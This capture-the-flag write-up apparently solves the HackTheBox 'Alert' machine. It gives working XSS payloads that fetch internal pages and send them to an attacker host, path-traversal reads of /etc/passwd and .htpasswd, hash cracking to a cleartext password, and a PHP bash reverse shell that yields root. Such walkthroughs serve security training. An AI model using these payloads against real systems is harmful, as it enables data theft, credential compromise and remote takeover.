Post

HackTheBox Alert

Writeup for HackTheBox Alert

HackTheBox Alert

Machine Synopsis

Alert is an easy-difficulty Linux machine with a website to upload, view, and share markdown files. The site is vulnerable to cross-site scripting (XSS), which is exploited to access an internal page vulnerable to Arbitrary File Read and leveraged to gain access to a password hash. The hash is then cracked to reveal the credentials leveraged to gain SSH access to the target. Enumeration of processes running on the system shows a PHP file that is being executed regularly, which has excessive privileges for the management group our user is a member of and allows us to overwrite the file for code execution as root. (Source)

Key exploitation techniques:

  • Cross-Site Scripting (XSS) in Markdown rendering and contact form
  • XSS chain for data exfiltration
  • Local File Inclusion (LFI) via an internal endpoint
  • Apache $apr1$ MD5 hash cracking
  • SSH access via credential reuse
  • Privilege escalation via writable web server content in a root-owned process

Enumeration

An nmap scan identified SSH (22/tcp) and HTTP (80/tcp) running Apache.

1
2
3
4
5
6
7
8
9
10
11
❯ nmap -sC -sV -A 10.10.11.44

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 7e:46:2c:46:6e:e6:d1:eb:2d:9d:34:25:e6:36:14:a7 (RSA)
|   256 45:7b:20:95:ec:17:c5:b4:d8:86:50:81:e0:8c:e8:b8 (ECDSA)
|_  256 cb:92:ad:6b:fc:c8:8e:5e:9f:8c:a2:69:1b:6d:d0:f7 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://alert.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)

The hostname alert.htb for 10.10.11.44 was added to /etc/hosts.

1
echo -e '10.10.11.44\t\talert.htb' | sudo tee -a /etc/hosts

webpage

The alert.htb website allowed users to upload and view Markdown (.md) files. Testing confirmed XSS vulnerability in the Markdown file upload functionality.

1
2
3
cat test.md
# Heading1
<script>alert(1)</script>

xss_markdown

When this Markdown was uploaded, the <script> tag was directly embedded and executed, triggering an alert box. Further testing revealed that the contact.php page was also vulnerable to XSS.

xss_markdown_embedded

xss_contact

The “About Us” page provided a critical hint which indicated that an administrator would interact with submitted content, making XSS a viable attack vector.

Our administrator is in charge of reviewing contact messages and reporting errors to us, so we strive to resolve all issues within 24 hours.

Directory & Subdomain Enumeration

dirsearch was used to find hidden directories and files.

1
2
3
4
5
6
❯ dirsearch -t 10 -e php -u 'http://alert.htb/'
...
301 -  309B  - /messages  ->  http://alert.htb/messages/
301 -  308B  - /uploads  ->  http://alert.htb/uploads/
403 -  274B  - /uploads/
...

Accessing http://alert.htb/messages/ and http://alert.htb/uploads/ resulted in 403 Forbidden.

A 403 bypass script (bypass-403.sh) was used to confirm accessibility.

1
2
3
4
5
6
❯ ./bypass-403.sh http://alert.htb messages | grep 200
200,966  --> http://alert.htb -H X-rewrite-url: messages
200,1  --> http://alert.htb/messages.php # Confirmed accessible!

❯ ./bypass-403.sh http://alert.htb uploads | grep 200
200,966  --> http://alert.htb -H X-rewrite-url: uploads

This confirmed that http://alert.htb/messages.php was accessible, despite its small size.

Subdomain enumeration with ffuf identified statistics.alert.htb.

1
2
3
❯ ffuf -c -u "http://alert.htb" -H "HOST: FUZZ.alert.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -fc 301 -t 10
...
statistics              [Status: 401, Size: 467, Words: 42, Lines: 15, Duration: 3ms]

statistics.alert.htb presented a Basic Authentication prompt (Status 401). This was noted for later. statistics.alert.htb was added to /etc/hosts.

statistics_webpage

login_request

Exploitation: XSS Chain to LFI

The strategy was to combine the XSS vulnerabilities and the administrator’s review process with the accessible messages.php endpoint to achieve LFI and exfiltrate sensitive files.

Step 1: Malicious Markdown Payload for Data Exfiltration

A test.md file was created containing a JavaScript payload. This script would fetch the content of http://alert.htb/messages.php and then exfiltrate the response to the attacker’s web server.

1
2
3
4
5
6
7
8
9
cat test.md
<script>
fetch("http://alert.htb/messages.php")
    .then(response => response.text())
    .then(data => {
    fetch("http://10.10.14.9/?shiro=" + encodeURIComponent(data));
    })
    .catch(error => console.error("Error fetching messages:", error));
</script>

This test.md was uploaded to alert.htb, and its shareable link (e.g., http://alert.htb/visualizer.php?link_share=676aa8c90b1985.30928944.md) was obtained.

Step 2: Injecting Malicious Markdown via contact.php XSS

A script tag referencing the uploaded malicious Markdown file was injected into the contact.php form. When the administrator viewed the contact message, the script would execute.

1
<script src="http://alert.htb/visualizer.php?link_share=676aa8c90b1985.30928944.md"></script>

Step 3: Receiving Exfiltrated Data

A Python HTTP server was started on the attacker machine to receive the exfiltrated data.

1
2
3
4
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.14.9 - "GET /?shiro=%0A HTTP/1.1" 200 -
10.10.11.44 - "GET /?shiro=%3Ch1%3EMessages%3C%2Fh1%3E%3Cul%3E%3Cli%3E%3Ca%20href%3D%27messages.php%3Ffile%3D2024-03-10_15-48-34.txt%27%3E2024-03-10_15-48-34.txt%3C%2Fa%3E%3C%2Fli%3E%3C%2Ful%3E%0A HTTP/1.1" 200 -

The URL-encoded string was decoded (e.g., with CyberChef), revealing: <h1>Messages</h1><ul><li><a href='messages.php?file=2024-03-10_15-48-34.txt'>2024-03-10_15-48-34.txt</a></li></ul> This confirmed messages.php was vulnerable to LFI via the file parameter.

Step 4: LFI to /etc/passwd

The Markdown payload was revised to exploit the LFI in messages.php to read /etc/passwd.

1
2
3
4
5
6
7
8
9
cat test.md
<script>
fetch("http://alert.htb/messages.php?file=../../../../../etc/passwd")
    .then(response => response.text())
    .then(data => {
    fetch("http://10.10.14.9/?shiro=" + encodeURIComponent(data));
    })
    .catch(error => console.error("Error fetching messages:", error));
</script>

The Markdown was re-uploaded and the XSS reinjected into contact.php.

1
2
10.10.14.9 - "GET /?shiro=%0A HTTP/1.1" 200 -
10.10.11.44 - "GET /?shiro=%3Cpre%3Eroot%3Ax%3A0%3A0%3Aroot%3A%2Froot%3A%2Fbin%2Fbash%0Adaemon%3Ax%3A1%3A1%3Adaemon%3A%2Fusr%2Fsbin%3A%2Fusr%2Fsbin%2Fnologin%0Abin%3Ax%3A2%3A2%3Abin%3A%2Fbin%3A%2Fusr%2Fsbin%2Fnologin%0Asys%3Ax%3A3%3A3%3Asys%3A%2Fdev%3A%2Fusr%2Fsbin%2Fnologin%0Async%3Ax%3A4%3A65534%3Async%3A%2Fbin%3A%2Fbin%2Fsync%0Agames%3Ax%3A5%3A60%3Agames%3A%2Fusr%2Fgames%3A%2Fusr%2Fsbin%2Fnologin%0Aman%3Ax%3A6%3A12%3Aman%3A%2Fvar%2Fcache%2Fman%3A%2Fusr%2Fsbin%2Fnologin%0Alp%3Ax%3A7%3A7%3Alp%3A%2Fvar%2Fspool%2Flpd%3A%2Fusr%2Fsbin%2Fnologin%0Amail%3Ax%3A8%3A8%3Amail%3A%2Fvar%2Fmail%3A%2Fusr%2Fsbin%2Fnologin%0Anews%3Ax%3A9%3A9%3Anews%3A%2Fvar%2Fspool%2Fnews%3A%2Fusr%2Fsbin%2Fnologin%0Auucp%3Ax%3A10%3A10%3Auucp%3A%2Fvar%2Fspool%2Fuucp%3A%2Fusr%2Fsbin%2Fnologin%0Aproxy%3Ax%3A13%3A13%3Aproxy%3A%2Fbin%3A%2Fusr%2Fsbin%2Fnologin%0Awww-data%3Ax%3A33%3A33%3Awww-data%3A%2Fvar%2Fwww%3A%2Fusr%2Fsbin%2Fnologin%0Abackup%3Ax%3A34%3A34%3Abackup%3A%2Fvar%2Fbackups%3A%2Fusr%2Fsbin%2Fnologin%0Alist%3Ax%3A38%3A38%3AMailing%20List%20Manager%3A%2Fvar%2Flist%3A%2Fusr%2Fsbin%2Fnologin%0Airc%3Ax%3A39%3A39%3Aircd%3A%2Fvar%2Frun%2Fircd%3A%2Fusr%2Fsbin%2Fnologin%0Agnats%3Ax%3A41%3A41%3AGnats%20Bug-Reporting%20System%20(admin)%3A%2Fvar%2Flib%2Fgnats%3A%2Fusr%2Fsbin%2Fnologin%0Anobody%3Ax%3A65534%3A65534%3Anobody%3A%2Fnonexistent%3A%2Fusr%2Fsbin%2Fnologin%0Asystemd-network%3Ax%3A100%3A102%3Asystemd%20Network%20Management%2C%2C%2C%3A%2Frun%2Fsystemd%3A%2Fusr%2Fsbin%2Fnologin%0Asystemd-resolve%3Ax%3A101%3A103%3Asystemd%20Resolver%2C%2C%2C%3A%2Frun%2Fsystemd%3A%2Fusr%2Fsbin%2Fnologin%0Asystemd-timesync%3Ax%3A102%3A104%3Asystemd%20Time%20Synchronization%2C%2C%2C%3A%2Frun%2Fsystemd%3A%2Fusr%2Fsbin%2Fnologin%0Amessagebus%3Ax%3A103%3A106%3A%3A%2Fnonexistent%3A%2Fusr%2Fsbin%2Fnologin%0Asyslog%3Ax%3A104%3A110%3A%3A%2Fhome%2Fsyslog%3A%2Fusr%2Fsbin%2Fnologin%0A_apt%3Ax%3A105%3A65534%3A%3A%2Fnonexistent%3A%2Fusr%2Fsbin%2Fnologin%0Atss%3Ax%3A106%3A111%3ATPM%20software%20stack%2C%2C%2C%3A%2Fvar%2Flib%2Ftpm%3A%2Fbin%2Ffalse%0Auuidd%3Ax%3A107%3A112%3A%3A%2Frun%2Fuuidd%3A%2Fusr%2Fsbin%2Fnologin%0Atcpdump%3Ax%3A108%3A113%3A%3A%2Fnonexistent%3A%2Fusr%2Fsbin%2Fnologin%0Alandscape%3Ax%3A109%3A115%3A%3A%2Fvar%2Flib%2Flandscape%3A%2Fusr%2Fsbin%2Fnologin%0Apollinate%3Ax%3A110%3A1%3A%3A%2Fvar%2Fcache%2Fpollinate%3A%2Fbin%2Ffalse%0Afwupd-refresh%3Ax%3A111%3A116%3Afwupd-refresh%20user%2C%2C%2C%3A%2Frun%2Fsystemd%3A%2Fusr%2Fsbin%2Fnologin%0Ausbmux%3Ax%3A112%3A46%3Ausbmux%20daemon%2C%2C%2C%3A%2Fvar%2Flib%2Fusbmux%3A%2Fusr%2Fsbin%2Fnologin%0Asshd%3Ax%3A113%3A65534%3A%3A%2Frun%2Fsshd%3A%2Fusr%2Fsbin%2Fnologin%0Asystemd-coredump%3Ax%3A999%3A999%3Asystemd%20Core%20Dumper%3A%2F%3A%2Fusr%2Fsbin%2Fnologin%0Aalbert%3Ax%3A1000%3A1000%3Aalbert%3A%2Fhome%2Falbert%3A%2Fbin%2Fbash%0Alxd%3Ax%3A998%3A100%3A%3A%2Fvar%2Fsnap%2Flxd%2Fcommon%2Flxd%3A%2Fbin%2Ffalse%0Adavid%3Ax%3A1001%3A1002%3A%2C%2C%2C%3A%2Fhome%2Fdavid%3A%2Fbin%2Fbash%0A%3C%2Fpre%3E%0A HTTP/1.1" 200 -

The decoded shiro parameter on the attacker’s server contained the contents of /etc/passwd.

1
2
3
4
# Excerpt from decoded /etc/passwd
root:x:0:0:root:/root:/bin/bash
albert:x:1000:1000:albert:/home/albert:/bin/bash
david:x:1001:1002:,,,:/home/david:/bin/bash

The users albert and david were identified.

LFI to statistics.alert.htb Credentials

The /etc/passwd output indicated standard Linux users. The earlier 401 Basic Auth response for statistics.alert.htb suggested an Apache .htpasswd file. Research indicated a common location for such files in Apache configurations.

The 000-default.conf Apache configuration file was targeted via LFI to find the .htpasswd path.

1
2
3
4
5
6
7
8
<script>
fetch("http://alert.htb/messages.php?file=../../../../etc/apache2/sites-enabled/000-default.conf")
    .then(response => response.text())
    .then(data => {
    fetch("http://10.10.14.9/?shiro=" + encodeURIComponent(data));
    })
    .catch(error => console.error("Error fetching messages:", error));
</script>

Repeat the exploit steps above to get the call back.

1
10.10.11.44 - "GET /?shiro=%3Cpre%3E%3CVirtualHost%20*%3A80%3E%0A%20%20%20%20ServerName%20alert.htb%0A%0A%20%20%20%20DocumentRoot%20%2Fvar%2Fwww%2Falert.htb%0A%0A%20%20%20%20%3CDirectory%20%2Fvar%2Fwww%2Falert.htb%3E%0A%20%20%20%20%20%20%20%20Options%20FollowSymLinks%20MultiViews%0A%20%20%20%20%20%20%20%20AllowOverride%20All%0A%20%20%20%20%3C%2FDirectory%3E%0A%0A%20%20%20%20RewriteEngine%20On%0A%20%20%20%20RewriteCond%20%25%7BHTTP_HOST%7D%20!%5Ealert%5C.htb%24%0A%20%20%20%20RewriteCond%20%25%7BHTTP_HOST%7D%20!%5E%24%0A%20%20%20%20RewriteRule%20%5E%2F%3F(.*)%24%20http%3A%2F%2Falert.htb%2F%241%20%5BR%3D301%2CL%5D%0A%0A%20%20%20%20ErrorLog%20%24%7BAPACHE_LOG_DIR%7D%2Ferror.log%0A%20%20%20%20CustomLog%20%24%7BAPACHE_LOG_DIR%7D%2Faccess.log%20combined%0A%3C%2FVirtualHost%3E%0A%0A%3CVirtualHost%20*%3A80%3E%0A%20%20%20%20ServerName%20statistics.alert.htb%0A%0A%20%20%20%20DocumentRoot%20%2Fvar%2Fwww%2Fstatistics.alert.htb%0A%0A%20%20%20%20%3CDirectory%20%2Fvar%2Fwww%2Fstatistics.alert.htb%3E%0A%20%20%20%20%20%20%20%20Options%20FollowSymLinks%20MultiViews%0A%20%20%20%20%20%20%20%20AllowOverride%20All%0A%20%20%20%20%3C%2FDirectory%3E%0A%0A%20%20%20%20%3CDirectory%20%2Fvar%2Fwww%2Fstatistics.alert.htb%3E%0A%20%20%20%20%20%20%20%20Options%20Indexes%20FollowSymLinks%20MultiViews%0A%20%20%20%20%20%20%20%20AllowOverride%20All%0A%20%20%20%20%20%20%20%20AuthType%20Basic%0A%20%20%20%20%20%20%20%20AuthName%20%22Restricted%20Area%22%0A%20%20%20%20%20%20%20%20AuthUserFile%20%2Fvar%2Fwww%2Fstatistics.alert.htb%2F.htpasswd%0A%20%20%20%20%20%20%20%20Require%20valid-user%0A%20%20%20%20%3C%2FDirectory%3E%0A%0A%20%20%20%20ErrorLog%20%24%7BAPACHE_LOG_DIR%7D%2Ferror.log%0A%20%20%20%20CustomLog%20%24%7BAPACHE_LOG_DIR%7D%2Faccess.log%20combined%0A%3C%2FVirtualHost%3E%0A%0A%3C%2Fpre%3E%0A HTTP/1.1" 200 -

The decoded content of 000-default.conf revealed the path to the .htpasswd file for statistics.alert.htb.

1
2
3
4
5
6
7
# Excerpt from decoded 000-default.conf
<VirtualHost *:80>
    ServerName statistics.alert.htb
    # ...
    AuthUserFile /var/www/statistics.alert.htb/.htpasswd
    Require valid-user
</VirtualHost>

The path /var/www/statistics.alert.htb/.htpasswd was identified.

The Markdown payload was revised again to fetch the .htpasswd file.

1
2
3
4
5
6
7
8
<script>
fetch("http://alert.htb/messages.php?file=../../../../var/www/statistics.alert.htb/.htpasswd")
    .then(response => response.text())
    .then(data => {
    fetch("http://10.10.14.9/?shiro=" + encodeURIComponent(data));
    })
    .catch(error => console.error("Error fetching the messages:", error));
</script>

Repeat the exploit steps above to get the call back.

1
2
10.10.14.9 - "GET /?shiro=%0A HTTP/1.1" 200 -
10.10.11.44 - "GET /?shiro=%3Cpre%3Ealbert%3A%24apr1%24bMoRBJOg%24igG8WBtQ1xYDTQdLjSWZQ%2F%0A%3C%2Fpre%3E%0A HTTP/1.1" 200 -

The decoded shiro parameter on the attacker’s server contained the hash: albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/.

Hash Cracking & SSH Access

The hash was saved to albert_hash.txt. hashcat --identify confirmed it as Apache $apr1$ MD5 (mode 1600).

1
2
3
4
echo 'albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/' > albert_hash.txt
❯ hashcat --identify albert_hash.txt
# ...
1600 | Apache $apr1$ MD5, md5apr1, MD5 (APR)

The hash was cracked using hashcat with rockyou.txt.

1
2
❯ hashcat -m 1600 -a 0 albert_hash.txt /usr/share/wordlists/rockyou.txt
$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/:manchesterunited

The password for albert was manchesterunited.

SSH access was gained using these credentials.

statistics_albert_login

1
2
3
4
❯ ssh albert@alert.htb
albert@alert.htb's password: manchesterunited
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-200-generic x86_64)
albert@alert:~$

Privilege Escalation: Writable Config & Root-Owned Web Server

Privilege escalation was pursued by enumerating albert’s permissions and running processes.

1
2
albert@alert:~$ sudo -l
Sorry, user albert may not run sudo on alert.

The id command confirmed albert was a member of the management group.

1
2
albert@alert:~$ id
uid=1000(albert) gid=1000(albert) groups=1000(albert),1001(management)

linpeas.sh and ps aux were used to identify interesting processes and file permissions. Key findings included:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
albert@alert:~$ ./linpeas.sh
...
╔══════════╣ Running processes (cleaned)
...
root        1017  0.0  0.0   2636   728 ?        S    06:12   0:00  |           _ inotifywait -m -e modify --format %w%f %e /opt/website-monitor/config
...
╔══════════╣ Modified interesting files in the last 5mins (limit 100)
...
/opt/website-monitor/monitors/alert.htb
/opt/website-monitor/monitors/statistics.alert.htb
...

alerbt@alert:~$ ps aux
...
root        1006  0.0  0.6 206768 24300 ?        Ss   06:12   0:00 /usr/bin/php -S 127.0.0.1:8080 -t /opt/website-monitor
...

We could observe that there is a root-owned inotifywait process monitoring /opt/website-monitor/config for modifications. This indicated that changes to this directory would likely trigger an action.

We could also observe that a root-owned PHP web server process was serving /opt/website-monitor on a local port.

1
2
3
4
albert@alert:/opt/website-monitor$ ls -la
drwxrwxr-x 2 root management  4096 Oct 12 04:17 config # Writable by 'management' group
-rwxrwxr-x 1 root root        5323 Oct 12 01:00 index.php
-rwxrwxr-x 1 root root        1452 Oct 12 01:00 monitor.php

The config directory within /opt/website-monitor was writable by the management group, which albert belonged to.

The README.md file in /opt/website-monitor suggested a cron job running monitor.php periodically.

1
2
3
4
5
6
7
albert@alert:/opt/website-monitor$ cat README.md
...
To automate your monitoring, you can add something like this to your crontab:
```
* * * * * /usr/bin/php -f /path/to/monitor.php >/dev/null 2>&1
```
...

The local web server (127.0.0.1:8080) was accessed via SSH local port forwarding.

1
2
3
4
5
6
7
8
❯ ssh -f -N -L 48080:127.0.0.1:8080 albert@alert.htb
# Access local web server via http://127.0.0.1:48080 on attacker machine
❯ curl http://127.0.0.1:48080
<!DOCTYPE html>
<html lang="en">
<head>
<title>Website Monitor</title>
# ... (HTML content)

This confirmed the “Website Monitor” application was running locally, served by the root-owned PHP process.

The configuration.php file within the config directory was inspected.

1
2
3
4
albert@alert:/opt/website-monitor/config$ cat configuration.php
<?php
define('PATH', '/opt/website-monitor');
?>

Exploiting Writable Configuration

The config directory (writable by albert) was served by a root-owned PHP web server. This allowed for arbitrary code execution by placing a malicious PHP file within this directory and directly accessing it through the forwarded port.

A PHP reverse shell payload was crafted and placed in a new file, exploit.php, within /opt/website-monitor/config/.

1
2
3
albert@alert:/opt/website-monitor/config$ vi exploit.php
# Contents of exploit.php:
# <?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.3/443 0>&1'"); ?>

A netcat listener was set up on the attacker machine.

1
2
❯ nc -nlvp 443
listening on [any] 443 ...

The malicious PHP file was then triggered by accessing it via the local forwarded port.

1
albert@alert:/opt/website-monitor/config$ curl http://127.0.0.1:48080/config/exploit.php

The curl request caused the root-owned PHP web server to execute exploit.php, establishing a reverse shell.

1
2
3
4
5
connect to [10.10.14.3] from (UNKNOWN) [10.10.11.44] 44626
whoami
root
cat /root/root.txt
e2ceed42be65d5f3f88b6b090dd051a2

A root shell was obtained, and the root.txt flag was retrieved.

OPSEC for Root Shell:

After gaining a root shell, the uploaded exploit.php file should be removed from the system. The SSH port forward should also be terminated.

1
2
3
4
5
  # On target machine as root
  root@alert:/# rm /opt/website-monitor/config/exploit.php
  
  # On attacker machine
  ❯ killall ssh # Terminates the SSH port forward
This post is licensed under CC BY 4.0 by the author.